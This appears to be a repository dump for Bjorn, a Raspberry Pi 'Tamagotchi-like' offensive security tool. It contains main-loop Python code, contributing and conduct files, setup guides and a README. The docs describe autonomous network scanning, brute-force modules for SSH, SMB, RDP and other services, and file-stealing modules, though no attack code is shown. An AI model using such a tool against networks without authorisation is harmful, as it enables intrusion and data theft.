def run(self):
"""Main loop for Bjorn. Waits for Wi-Fi connection and starts Orchestrator."""
# Wait for startup delay if configured in shared data
if hasattr(self.shared_data, 'startup_delay') and self.shared_data.startup_delay > 0:
logger.info(f"Waiting for startup delay: {self.shared_data.startup_delay} seconds")
time.sleep(self.shared_data.startup_delay)
# Main loop to keep Bjorn running
while not self.shared_data.should_exit:
if not self.shared_data.manual_mode:
self.check_and_start_orchestrator()
time.sleep(10) # Main loop idle waiting
def check_and_start_orchestrator(self):
"""Check Wi-Fi and start the orchestrator if connected."""
if self.is_wifi_connected():
self.wifi_connected = True
if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive():
self.start_orchestrator()
else:
self.wifi_connected = False
logger.info("Waiting for Wi-Fi connection to start Orchestrator...")
def start_orchestrator(self):
"""Start the orchestrator thread."""
self.is_wifi_connected() # reCheck if Wi-Fi is connected before starting the orchestrator
if self.wifi_connected: # Check if Wi-Fi is connected before starting the orchestrator
if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive():
logger.info("Starting Orchestrator thread...")
self.shared_data.orchestrator_should_exit = False
self.shared_data.manual_mode = False
self.orchestrator = Orchestrator()
self.orchestrator_thread = threading.Thread(target=self.orchestrator.run)
self.orchestrator_thread.start()
logger.info("Orchestrator thread started, automatic mode activated.")
else:
logger.info("Orchestrator thread is already running.")
else:
logger.warning("Cannot start Orchestrator: Wi-Fi is not connected.")
def stop_orchestrator(self):
"""Stop the orchestrator thread."""
self.shared_data.manual_mode = True
logger.info("Stop button pressed. Manual mode activated & Stopping Orchestrator...")
if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive():
logger.info("Stopping Orchestrator thread...")
self.shared_data.orchestrator_should_exit = True
self.orchestrator_thread.join()
logger.info("Orchestrator thread stopped.")
self.shared_data.bjornorch_status = "IDLE"
self.shared_data.bjornstatustext2 = ""
self.shared_data.manual_mode = True
else:
logger.info("Orchestrator thread is not running.")
def is_wifi_connected(self):
"""Checks for Wi-Fi connectivity using the nmcli command."""
result = subprocess.Popen(['nmcli', '-t', '-f', 'active', 'dev', 'wifi'], stdout=subprocess.PIPE, text=True).communicate()[0]
self.wifi_connected = 'yes' in result
return self.wifi_connected
@staticmethod
def start_display():
"""Start the display thread"""
display = Display(shared_data)
display_thread = threading.Thread(target=display.run)
display_thread.start()
return display_thread
def handle_exit(sig, frame, display_thread, bjorn_thread, web_thread):
"""Handles the termination of the main, display, and web threads."""
shared_data.should_exit = True
shared_data.orchestrator_should_exit = True # Ensure orchestrator stops
shared_data.display_should_exit = True # Ensure display stops
shared_data.webapp_should_exit = True # Ensure web server stops
handle_exit_display(sig, frame, display_thread)
if display_thread.is_alive():
display_thread.join()
if bjorn_thread.is_alive():
bjorn_thread.join()
if web_thread.is_alive():
web_thread.join()
logger.info("Main loop finished. Clean exit.")
sys.exit(0) # Used sys.exit(0) instead of exit(0)
if __name__ == "__main__":
logger.info("Starting threads")
try:
logger.info("Loading shared data config...")
shared_data.load_config()
logger.info("Starting display thread...")
shared_data.display_should_exit = False # Initialize display should_exit
display_thread = Bjorn.start_display()
logger.info("Starting Bjorn thread...")
bjorn = Bjorn(shared_data)
shared_data.bjorn_instance = bjorn # Assigner l'instance de Bjorn à shared_data
bjorn_thread = threading.Thread(target=bjorn.run)
bjorn_thread.start()
if shared_data.config["websrv"]:
logger.info("Starting the web server...")
web_thread.start()
signal.signal(signal.SIGINT, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread))
signal.signal(signal.SIGTERM, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread))
except Exception as e:
logger.error(f"An exception occurred during thread start: {e}")
handle_exit_display(signal.SIGINT, None)
exit(1)
+40
View File
@@ -0,0 +1,40 @@
# 📝 Code of Conduct
Take Note About This... **Take Note...**
## 🤝 Our Commitment
We are committed to fostering an open and welcoming environment for all contributors. As such, everyone who participates in **Bjorn** is expected to adhere to the following code of conduct.
## 🌟 Expected Behavior
- **Respect:** Be respectful of differing viewpoints and experiences.
- **Constructive Feedback:** Provide constructive feedback and be open to receiving it.
- **Empathy and Kindness:** Show empathy and kindness towards other contributors.
- **Respect for Maintainers:** Respect the decisions of the maintainers.
- **Positive Intent:** Assume positive intent in interactions with others.
## 🚫 Unacceptable Behavior
- **Harassment or Discrimination:** Harassment or discrimination in any form.
- **Inappropriate Language or Imagery:** Use of inappropriate language or imagery.
- **Personal Attacks:** Personal attacks or insults.
- **Public or Private Harassment:** Public or private harassment.
## 📢 Reporting Misconduct
If you encounter any behavior that violates this code of conduct, please report it by contacting [bjorn-cyberviking@outlook.com](mailto:bjorn-cyberviking@outlook.com). All complaints will be reviewed and handled appropriately.
## ⚖️ Enforcement
Instances of unacceptable behavior may be addressed by the project maintainers, who are responsible for clarifying and enforcing this code of conduct. Violations may result in temporary or permanent bans from the project and related spaces.
## 🙏 Acknowledgments
This code of conduct is adapted from the [Contributor Covenant, version 2.0](https://www.contributor-covenant.org/version/2/0/code_of_conduct.html).
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+51
View File
@@ -0,0 +1,51 @@
# 🤝 Contributing to Bjorn
We welcome contributions to Bjorn! To make sure the process goes smoothly, please follow these guidelines:
## 📋 Code of Conduct
Please note that all participants in our project are expected to follow our [Code of Conduct](#-code-of-conduct). Make sure to review it before contributing.
## 🛠 How to Contribute
1. **Fork the repository**:
Fork the project to your GitHub account using the GitHub interface.
2. **Create a new branch**:
Use a descriptive branch name for your feature or bugfix:
git checkout -b feature/your-feature-name
3. **Make your changes**:
Implement your feature or fix the bug in your branch. Make sure to include tests where applicable and follow coding standards.
4. **Test your changes**:
Run the test suite to ensure your changes dont break any functionality:
- ...
5. **Commit your changes**:
Use meaningful commit messages that explain what you have done:
git commit -m "Add feature/fix: Description of changes"
6. **Push your changes**:
Push your changes to your fork:
git push origin feature/your-feature-name
7. **Submit a Pull Request**:
Create a pull request on the main repository, detailing the changes youve made. Link any issues your changes resolve and provide context.
## 📑 Guidelines for Contributions
- **Lint your code** before submitting a pull request. We use [ESLint](https://eslint.org/) for frontend and [pylint](https://www.pylint.org/) for backend linting.
- Ensure **test coverage** for your code. Uncovered code may delay the approval process.
- Write clear, concise **commit messages**.
Thank you for helping improve!
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+373
View File
@@ -0,0 +1,373 @@
# 🖲️ Bjorn Development
<p align="center">
<img src="https://github.com/user-attachments/assets/c5eb4cc1-0c3d-497d-9422-1614651a84ab" alt="thumbnail_IMG_0546" width="98">
</p>
## 📚 Table of Contents
- [Design](#-design)
- [Educational Aspects](#-educational-aspects)
- [Disclaimer](#-disclaimer)
- [Extensibility](#-extensibility)
- [Development Status](#-development-status)
- [Project Structure](#-project-structure)
- [Core Files](#-core-files)
- [Actions](#-actions)
- [Data Structure](#-data-structure)
- [Detailed Project Description](#-detailed-project-description)
- [Behaviour of Bjorn](#-behavior-of-bjorn)
- [Running Bjorn](#-running-bjorn)
- [Manual Start](#-manual-start)
- [Service Control](#-service-control)
- [Fresh Start](#-fresh-start)
- [Important Configuration Files](#-important-configuration-files)
- [Shared Configuration](#-shared-configuration-shared_configjson)
- [Actions Configuration](#-actions-configuration-actionsjson)
- [E-Paper Display Support](#-e-paper-display-support)
- [Ghosting Removed](#-ghosting-removed)
- [Development Guidelines](#-development-guidelines)
- [Adding New Actions](#-adding-new-actions)
- [Testing](#-testing)
- [Web Interface](#-web-interface)
- [Project Roadmap](#-project-roadmap)
- [Current Focus](#-future-plans)
- [Future Plans](#-future-plans)
- [License](#-license)
## 🎨 Design
- **Portability**: Self-contained and portable device, ideal for penetration testing.
- **Modularity**: Extensible architecture allowing addition of new actions.
- **Visual Interface**: The e-Paper HAT provides a visual interface for monitoring the ongoing actions, displaying results or stats, and interacting with Bjorn .
## 📔 Educational Aspects
- **Learning Tool**: Designed as an educational tool to understand cybersecurity concepts and penetration testing techniques.
- **Practical Experience**: Provides a practical means for students and professionals to familiarize themselves with network security practices and vulnerability assessment tools.
## ✒️ Disclaimer
- **Ethical Use**: This project is strictly for educational purposes.
- **Responsibility**: The author and contributors disclaim any responsibility for misuse of Bjorn.
- **Legal Compliance**: Unauthorized use of this tool for malicious activities is prohibited and may be prosecuted by law.
## 🧩 Extensibility
- **Evolution**: The main purpose of Bjorn is to gain new actions and extend his arsenal over time.
- **Modularity**: Actions are designed to be modular and can be easily extended or modified to add new functionality.
- **Possibilities**: From capturing pcap files to cracking hashes, man-in-the-middle attacks, and more—the possibilities are endless.
- **Contribution**: It's up to the user to develop new actions and add them to the project.
## 🔦 Development Status
- **Project Status**: Ongoing development.
- **Current Version**: Scripted auto-installer, or manual installation. Not yet packaged with Raspberry Pi OS.
- **Reason**: The project is still in an early stage, requiring further development and debugging.
### 🗂️ Project Structure
```
Bjorn/
├── Bjorn.py
├── comment.py
├── display.py
├── epd_helper.py
├── init_shared.py
├── kill_port_8000.sh
├── logger.py
├── orchestrator.py
├── requirements.txt
├── shared.py
├── utils.py
├── webapp.py
├── __init__.py
├── actions/
│ ├── ftp_connector.py
│ ├── ssh_connector.py
│ ├── smb_connector.py
│ ├── rdp_connector.py
│ ├── telnet_connector.py
│ ├── sql_connector.py
│ ├── steal_files_ftp.py
│ ├── steal_files_ssh.py
│ ├── steal_files_smb.py
│ ├── steal_files_rdp.py
│ ├── steal_files_telnet.py
│ ├── steal_data_sql.py
│ ├── nmap_vuln_scanner.py
│ ├── scanning.py
│ └── __init__.py
├── backup/
│ ├── backups/
│ └── uploads/
├── config/
├── data/
│ ├── input/
│ │ └── dictionary/
│ ├── logs/
│ └── output/
│ ├── crackedpwd/
│ ├── data_stolen/
│ ├── scan_results/
│ ├── vulnerabilities/
│ └── zombies/
└── resources/
└── waveshare_epd/
```
### ⚓ Core Files
#### Bjorn.py
The main entry point for the application. It initializes and runs the main components, including the network scanner, orchestrator, display, and web server.
#### comment.py
Handles generating all the Bjorn comments displayed on the e-Paper HAT based on different themes/actions and statuses.
#### display.py
Manages the e-Paper HAT display, updating the screen with Bjorn character, the dialog/comments, and the current information such as network status, vulnerabilities, and various statistics.
#### epd_helper.py
Handles the low-level interactions with the e-Paper display hardware.
#### logger.py
Defines a custom logger with specific formatting and handlers for console and file logging. It also includes a custom log level for success messages.
#### orchestrator.py
Bjorns AI, a heuristic engine that orchestrates the different actions such as network scanning, vulnerability scanning, attacks, and file stealing. It loads and executes actions based on the configuration and sets the status of the actions and Bjorn.
#### shared.py
Defines the `SharedData` class that holds configuration settings, paths, and methods for updating and managing shared data across different modules.
#### init_shared.py
Initializes shared data that is used across different modules. It loads the configuration and sets up necessary paths and variables.
#### utils.py
Contains utility functions used throughout the project.
#### webapp.py
Sets up and runs a web server to provide a web interface for changing settings, monitoring and interacting with Bjorn.
### ▶️ Actions
#### actions/scanning.py
Conducts network scanning to identify live hosts and open ports. It updates the network knowledge base (`netkb`) and generates scan results.
#### actions/nmap_vuln_scanner.py
Performs vulnerability scanning using Nmap. It parses the results and updates the vulnerability summary for each host.
#### Protocol Connectors
- **ftp_connector.py**: Brute-force attacks on FTP services.
- **ssh_connector.py**: Brute-force attacks on SSH services.
- **smb_connector.py**: Brute-force attacks on SMB services.
- **rdp_connector.py**: Brute-force attacks on RDP services.
- **telnet_connector.py**: Brute-force attacks on Telnet services.
- **sql_connector.py**: Brute-force attacks on SQL services.
#### File Stealing Modules
- **steal_files_ftp.py**: Steals files from FTP servers.
- **steal_files_smb.py**: Steals files from SMB shares.
- **steal_files_ssh.py**: Steals files from SSH servers.
- **steal_files_telnet.py**: Steals files from Telnet servers.
- **steal_data_sql.py**: Extracts data from SQL databases.
### 📇 Data Structure
#### Network Knowledge Base (netkb.csv)
Located at `data/netkb.csv`. Stores information about:
- Known hosts and their status. (Alive or offline)
- Open ports and vulnerabilities.
- Action execution history. (Success or failed)
**Preview Example:**
![netkb1](https://github.com/infinition/Bjorn/assets/37984399/f641a565-2765-4280-a7d7-5b25c30dcea5)
![netkb2](https://github.com/infinition/Bjorn/assets/37984399/f08114a2-d7d1-4f50-b1c4-a9939ba66056)
#### Scan Results
Located in `data/output/scan_results/`.
This file is generated everytime the network is scanned. It is used to consolidate the data and update netkb.
**Example:**
![Scan result](https://github.com/infinition/Bjorn/assets/37984399/eb4a313a-f90c-4c43-b699-3678271886dc)
#### Live Status (livestatus.csv)
Contains real-time information displayed on the e-Paper HAT:
- Total number of known hosts.
- Currently alive hosts.
- Open ports count.
- Other runtime statistics.
## 📖 Detailed Project Description
### 👀 Behavior of Bjorn
Once launched, Bjorn performs the following steps:
1. **Initialization**: Loads configuration, initializes shared data, and sets up necessary components such as the e-Paper HAT display.
2. **Network Scanning**: Scans the network to identify live hosts and open ports. Updates the network knowledge base (`netkb`) with the results.
3. **Orchestration**: Orchestrates different actions based on the configuration and network knowledge base. This includes performing vulnerability scanning, attacks, and file stealing.
4. **Vulnerability Scanning**: Performs vulnerability scans on identified hosts and updates the vulnerability summary.
5. **Brute-Force Attacks and File Stealing**: Starts brute-force attacks and steals files based on the configuration criteria.
6. **Display Updates**: Continuously updates the e-Paper HAT display with current information such as network status, vulnerabilities, and various statistics. Bjorn also displays random comments based on different themes and statuses.
7. **Web Server**: Provides a web interface for monitoring and interacting with Bjorn.
## ▶️ Running Bjorn
### 📗 Manual Start
To manually start Bjorn (without the service, ensure the service is stopped « sudo systemctl stop bjorn.service »):
```bash
cd /home/bjorn/Bjorn
# Run Bjorn
sudo python Bjorn.py
```
### 🕹️ Service Control
Control the Bjorn service:
```bash
# Start Bjorn
sudo systemctl start bjorn.service
# Stop Bjorn
sudo systemctl stop bjorn.service
# Check status
sudo systemctl status bjorn.service
# View logs
sudo journalctl -u bjorn.service
```
### 🪄 Fresh Start
To reset Bjorn to a clean state:
```bash
sudo rm -rf /home/bjorn/Bjorn/config/*.json \
/home/bjorn/Bjorn/data/*.csv \
/home/bjorn/Bjorn/data/*.log \
/home/bjorn/Bjorn/data/output/data_stolen/* \
/home/bjorn/Bjorn/data/output/crackedpwd/* \
/home/bjorn/Bjorn/config/* \
/home/bjorn/Bjorn/data/output/scan_results/* \
/home/bjorn/Bjorn/__pycache__ \
/home/bjorn/Bjorn/config/__pycache__ \
/home/bjorn/Bjorn/data/__pycache__ \
/home/bjorn/Bjorn/actions/__pycache__ \
/home/bjorn/Bjorn/resources/__pycache__ \
/home/bjorn/Bjorn/web/__pycache__ \
/home/bjorn/Bjorn/*.log \
/home/bjorn/Bjorn/resources/waveshare_epd/__pycache__ \
/home/bjorn/Bjorn/data/logs/* \
/home/bjorn/Bjorn/data/output/vulnerabilities/* \
/home/bjorn/Bjorn/data/logs/*
```
Everything will be recreated automatically at the next launch of Bjorn.
## ❇️ Important Configuration Files
### 🔗 Shared Configuration (`shared_config.json`)
Defines various settings for Bjorn, including:
- Boolean settings (`manual_mode`, `websrv`, `debug_mode`, etc.).
- Time intervals and delays.
- Network settings.
- Port lists and blacklists.
These settings are accessible on the webpage.
### 🛠️ Actions Configuration (`actions.json`)
Lists the actions to be performed by Bjorn, including (dynamically generated with the content of the folder):
- Module and class definitions.
- Port assignments.
- Parent-child relationships.
- Action status definitions.
## 📟 E-Paper Display Support
Currently, hardcoded for the 2.13-inch V2 & V4 e-Paper HAT.
My program automatically detect the screen model and adapt the python expressions into my code.
For other versions:
- As I don't have the v1 and v3 to validate my algorithm, I just hope it will work properly.
### 🍾 Ghosting Removed!
In my journey to make Bjorn work with the different screen versions, I struggled, hacking several parameters and found out that it was possible to remove the ghosting of screens! I let you see this, I think this method will be very useful for all other projects with the e-paper screen!
## ✍️ Development Guidelines
### Adding New Actions
1. Create a new action file in `actions/`.
2. Implement required methods:
- `__init__(self, shared_data)`
- `execute(self, ip, port, row, status_key)`
3. Add the action to `actions.json`.
4. Follow existing action patterns.
### 🧪 Testing
1. Create a test environment.
2. Use an isolated network.
3. Follow ethical guidelines.
4. Document test cases.
## 💻 Web Interface
- **Access**: `http://[device-ip]:8000`
- **Features**:
- Real-time monitoring with a console.
- Configuration management.
- Viewing results. (Credentials and files)
- System control.
## 🧭 Project Roadmap
### 🪛 Current Focus
- Stability improvements.
- Bug fixes.
- Service reliability.
- Documentation updates.
### 🧷 Future Plans
- Additional attack modules.
- Enhanced reporting.
- Improved user interface.
- Extended protocol support.
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+468
View File
@@ -0,0 +1,468 @@
## 🔧 Installation and Configuration
<p align="center">
<img src="https://github.com/user-attachments/assets/c5eb4cc1-0c3d-497d-9422-1614651a84ab" alt="thumbnail_IMG_0546" width="98">
</p>
## 📚 Table of Contents
- [Prerequisites](#-prerequisites)
- [Quick Install](#-quick-install)
- [Manual Install](#-manual-install)
- [License](#-license)
Use Raspberry Pi Imager to install your OS
https://www.raspberrypi.com/software/
### 📌 Prerequisites for RPI zero W (32bits)
![image](https://github.com/user-attachments/assets/3980ec5f-a8fc-4848-ab25-4356e0529639)
- Raspberry Pi OS installed.
- Stable:
- System: 32-bit
- Kernel version: 6.6
- Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-armhf-lite'
- Username and hostname set to `bjorn`.
- 2.13-inch e-Paper HAT connected to GPIO pins.
### 📌 Prerequisites for RPI zero W2 (64bits)
![image](https://github.com/user-attachments/assets/e8d276be-4cb2-474d-a74d-b5b6704d22f5)
I did not develop Bjorn for the raspberry pi zero w2 64bits, but several feedbacks have attested that the installation worked perfectly.
- Raspberry Pi OS installed.
- Stable:
- System: 64-bit
- Kernel version: 6.6
- Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-arm64-lite'
- Username and hostname set to `bjorn`.
- 2.13-inch e-Paper HAT connected to GPIO pins.
At the moment the paper screen v2 v4 have been tested and implemented.
I juste hope the V1 & V3 will work the same.
### ⚡ Quick Install
The fastest way to install Bjorn is using the automatic installation script :
```bash
# Download and run the installer
wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh
sudo chmod +x install_bjorn.sh
sudo ./install_bjorn.sh
# Choose the choice 1 for automatic installation. It may take a while as a lot of packages and modules will be installed. You must reboot at the end.
```
### 🧰 Manual Install
#### Step 1: Activate SPI & I2C
```bash
sudo raspi-config
```
- Navigate to **"Interface Options"**.
- Enable **SPI**.
- Enable **I2C**.
#### Step 2: System Dependencies
```bash
# Update system
sudo apt-get update && sudo apt-get upgrade -y
# Install required packages
sudo apt install -y \
libjpeg-dev \
zlib1g-dev \
libpng-dev \
python3-dev \
libffi-dev \
libssl-dev \
libgpiod-dev \
libi2c-dev \
libatlas-base-dev \
build-essential \
python3-pip \
wget \
lsof \
git \
libopenjp2-7 \
nmap \
libopenblas-dev \
bluez-tools \
bluez \
dhcpcd5 \
bridge-utils \
python3-pil
# Update Nmap scripts database
sudo nmap --script-updatedb
```
#### Step 3: Bjorn Installation
```bash
# Clone the Bjorn repository
cd /home/bjorn
git clone https://github.com/infinition/Bjorn.git
cd Bjorn
# Install Python dependencies within the virtual environment
sudo pip install -r requirements.txt --break-system-packages
# As i did not succeed "for now" to get a stable installation with a virtual environment, i installed the dependencies system wide (with --break-system-packages), it did not cause any issue so far. You can try to install them in a virtual environment if you want.
```
##### 3.1: Configure E-Paper Display Type
Choose your e-Paper HAT version by modifying the configuration file:
1. Open the configuration file:
```bash
sudo vi /home/bjorn/Bjorn/config/shared_config.json
```
Press i to enter insert mode
Locate the line containing "epd_type":
Change the value according to your screen model:
- For 2.13 V1: "epd_type": "epd2in13",
- For 2.13 V2: "epd_type": "epd2in13_V2",
- For 2.13 V3: "epd_type": "epd2in13_V3",
- For 2.13 V4: "epd_type": "epd2in13_V4",
Press Esc to exit insert mode
Type :wq and press Enter to save and quit
#### Step 4: Configure File Descriptor Limits
To prevent `OSError: [Errno 24] Too many open files`, it's essential to increase the file descriptor limits.
##### 4.1: Modify File Descriptor Limits for All Users
Edit `/etc/security/limits.conf`:
```bash
sudo vi /etc/security/limits.conf
```
Add the following lines:
```
* soft nofile 65535
* hard nofile 65535
root soft nofile 65535
root hard nofile 65535
```
##### 4.2: Configure Systemd Limits
Edit `/etc/systemd/system.conf`:
```bash
sudo vi /etc/systemd/system.conf
```
Uncomment and modify:
```
DefaultLimitNOFILE=65535
```
Edit `/etc/systemd/user.conf`:
```bash
sudo vi /etc/systemd/user.conf
```
Uncomment and modify:
```
DefaultLimitNOFILE=65535
```
##### 4.3: Create or Modify `/etc/security/limits.d/90-nofile.conf`
```bash
sudo vi /etc/security/limits.d/90-nofile.conf
```
Add:
```
root soft nofile 65535
root hard nofile 65535
```
##### 4.4: Adjust the System-wide File Descriptor Limit
Edit `/etc/sysctl.conf`:
```bash
sudo vi /etc/sysctl.conf
```
Add:
```
fs.file-max = 2097152
```
Apply the changes:
```bash
sudo sysctl -p
```
#### Step 5: Reload Systemd and Apply Changes
Reload systemd to apply the new file descriptor limits:
```bash
sudo systemctl daemon-reload
```
#### Step 6: Modify PAM Configuration Files
PAM (Pluggable Authentication Modules) manages how limits are enforced for user sessions. To ensure that the new file descriptor limits are respected, update the following configuration files.
##### Step 6.1: Edit `/etc/pam.d/common-session` and `/etc/pam.d/common-session-noninteractive`
```bash
sudo vi /etc/pam.d/common-session
sudo vi /etc/pam.d/common-session-noninteractive
```
Add this line at the end of both files:
```
session required pam_limits.so
```
This ensures that the limits set in `/etc/security/limits.conf` are enforced for all user sessions.
#### Step 7: Configure Services
##### 7.1: Bjorn Service
Create the service file:
```bash
sudo vi /etc/systemd/system/bjorn.service
```
Add the following content:
```ini
[Unit]
Description=Bjorn Service
DefaultDependencies=no
Before=basic.target
After=local-fs.target
[Service]
ExecStartPre=/home/bjorn/Bjorn/kill_port_8000.sh
ExecStart=/usr/bin/python3 /home/bjorn/Bjorn/Bjorn.py
WorkingDirectory=/home/bjorn/Bjorn
StandardOutput=inherit
StandardError=inherit
Restart=always
User=root
# Check open files and restart if it reached the limit (ulimit -n buffer of 1000)
ExecStartPost=/bin/bash -c 'FILE_LIMIT=$(ulimit -n); THRESHOLD=$(( FILE_LIMIT - 1000 )); while :; do TOTAL_OPEN_FILES=$(lsof | wc -l); if [ "$TOTAL_OPEN_FILES" -ge "$THRESHOLD" ]; then echo "File descriptor threshold reached: $TOTAL_OPEN_FILES (threshold: $THRESHOLD). Restarting service."; systemctl restart bjorn.service; exit 0; fi; sleep 10; done &'
[Install]
WantedBy=multi-user.target
```
##### 7.2: Port 8000 Killer Script
Create the script to free up port 8000:
```bash
vi /home/bjorn/Bjorn/kill_port_8000.sh
```
Add:
```bash
#!/bin/bash
PORT=8000
PIDS=$(lsof -t -i:$PORT)
if [ -n "$PIDS" ]; then
echo "Killing PIDs using port $PORT: $PIDS"
kill -9 $PIDS
fi
```
Make the script executable:
```bash
chmod +x /home/bjorn/Bjorn/kill_port_8000.sh
```
##### 7.3: USB Gadget Configuration
Modify `/boot/firmware/cmdline.txt`:
```bash
sudo vi /boot/firmware/cmdline.txt
```
Add the following right after `rootwait`:
```
modules-load=dwc2,g_ether
```
Modify `/boot/firmware/config.txt`:
```bash
sudo vi /boot/firmware/config.txt
```
Add at the end of the file:
```
dtoverlay=dwc2
```
Create the USB gadget script:
```bash
sudo vi /usr/local/bin/usb-gadget.sh
```
Add the following content:
```bash
#!/bin/bash
set -e
modprobe libcomposite
cd /sys/kernel/config/usb_gadget/
mkdir -p g1
cd g1
echo 0x1d6b > idVendor
echo 0x0104 > idProduct
echo 0x0100 > bcdDevice
echo 0x0200 > bcdUSB
mkdir -p strings/0x409
echo "fedcba9876543210" > strings/0x409/serialnumber
echo "Raspberry Pi" > strings/0x409/manufacturer
echo "Pi Zero USB" > strings/0x409/product
mkdir -p configs/c.1/strings/0x409
echo "Config 1: ECM network" > configs/c.1/strings/0x409/configuration
echo 250 > configs/c.1/MaxPower
mkdir -p functions/ecm.usb0
# Check for existing symlink and remove if necessary
if [ -L configs/c.1/ecm.usb0 ]; then
rm configs/c.1/ecm.usb0
fi
ln -s functions/ecm.usb0 configs/c.1/
# Ensure the device is not busy before listing available USB device controllers
max_retries=10
retry_count=0
while ! ls /sys/class/udc > UDC 2>/dev/null; do
if [ $retry_count -ge $max_retries ]; then
echo "Error: Device or resource busy after $max_retries attempts."
exit 1
fi
retry_count=$((retry_count + 1))
sleep 1
done
# Check if the usb0 interface is already configured
if ! ip addr show usb0 | grep -q "172.20.2.1"; then
ifconfig usb0 172.20.2.1 netmask 255.255.255.0
else
echo "Interface usb0 already configured."
fi
```
Make the script executable:
```bash
sudo chmod +x /usr/local/bin/usb-gadget.sh
```
Create the systemd service:
```bash
sudo vi /etc/systemd/system/usb-gadget.service
```
Add:
```ini
[Unit]
Description=USB Gadget Service
After=network.target
[Service]
ExecStartPre=/sbin/modprobe libcomposite
ExecStart=/usr/local/bin/usb-gadget.sh
Type=simple
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
```
Configure `usb0`:
```bash
sudo vi /etc/network/interfaces
```
Add:
```bash
allow-hotplug usb0
iface usb0 inet static
address 172.20.2.1
netmask 255.255.255.0
```
Reload the services:
```bash
sudo systemctl daemon-reload
sudo systemctl enable systemd-networkd
sudo systemctl enable usb-gadget
sudo systemctl start systemd-networkd
sudo systemctl start usb-gadget
```
You must reboot to be able to use it as a USB gadget (with ip)
###### Windows PC Configuration
Set the static IP address on your Windows PC:
- **IP Address**: `172.20.2.2`
- **Subnet Mask**: `255.255.255.0`
- **Default Gateway**: `172.20.2.1`
- **DNS Servers**: `8.8.8.8`, `8.8.4.4`
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2024 infinition
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+177
View File
@@ -0,0 +1,177 @@
# <img src="https://github.com/user-attachments/assets/c5eb4cc1-0c3d-497d-9422-1614651a84ab" alt="thumbnail_IMG_0546" width="33"> Bjorn
![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=fff)
![Status](https://img.shields.io/badge/Status-Development-blue.svg)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![Reddit](https://img.shields.io/badge/Reddit-Bjorn__CyberViking-orange?style=for-the-badge&logo=reddit)](https://www.reddit.com/r/Bjorn_CyberViking)
[![Discord](https://img.shields.io/badge/Discord-Join%20Us-7289DA?style=for-the-badge&logo=discord)](https://discord.com/invite/B3ZH9taVfT)
<p align="center">
<img src="https://github.com/user-attachments/assets/c5eb4cc1-0c3d-497d-9422-1614651a84ab" alt="thumbnail_IMG_0546" width="150">
<img src="https://github.com/user-attachments/assets/1b490f07-f28e-4418-8d41-14f1492890c6" alt="bjorn_epd-removebg-preview" width="150">
</p>
Bjorn is a « Tamagotchi like » sophisticated, autonomous network scanning, vulnerability assessment, and offensive security tool designed to run on a Raspberry Pi equipped with a 2.13-inch e-Paper HAT. This document provides a detailed explanation of the project.
## 📚 Table of Contents
- [Introduction](#-introduction)
- [Features](#-features)
- [Getting Started](#-getting-started)
- [Prerequisites](#-prerequisites)
- [Installation](#-installation)
- [Quick Start](#-quick-start)
- [Usage Example](#-usage-example)
- [Contributing](#-contributing)
- [License](#-license)
- [Contact](#-contact)
## 📄 Introduction
Bjorn is a powerful tool designed to perform comprehensive network scanning, vulnerability assessment, and data ex-filtration. Its modular design and extensive configuration options allow for flexible and targeted operations. By combining different actions and orchestrating them intelligently, Bjorn can provide valuable insights into network security and help identify and mitigate potential risks.
The e-Paper HAT display and web interface make it easy to monitor and interact with Bjorn, providing real-time updates and status information. With its extensible architecture and customizable actions, Bjorn can be adapted to suit a wide range of security testing and monitoring needs.
## 🌟 Features
- **Network Scanning**: Identifies live hosts and open ports on the network.
- **Vulnerability Assessment**: Performs vulnerability scans using Nmap and other tools.
- **System Attacks**: Conducts brute-force attacks on various services (FTP, SSH, SMB, RDP, Telnet, SQL).
- **File Stealing**: Extracts data from vulnerable services.
- **User Interface**: Real-time display on the e-Paper HAT and web interface for monitoring and interaction.
![Bjorn Display](https://github.com/infinition/Bjorn/assets/37984399/bcad830d-77d6-4f3e-833d-473eadd33921)
## 🚀 Getting Started
## 📌 Prerequisites
### 📋 Prerequisites for RPI zero W (32bits)
![image](https://github.com/user-attachments/assets/3980ec5f-a8fc-4848-ab25-4356e0529639)
- Raspberry Pi OS installed.
- Stable:
- System: 32-bit
- Kernel version: 6.6
- Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-armhf-lite'
- Username and hostname set to `bjorn`.
- 2.13-inch e-Paper HAT connected to GPIO pins.
### 📋 Prerequisites for RPI zero W2 (64bits)
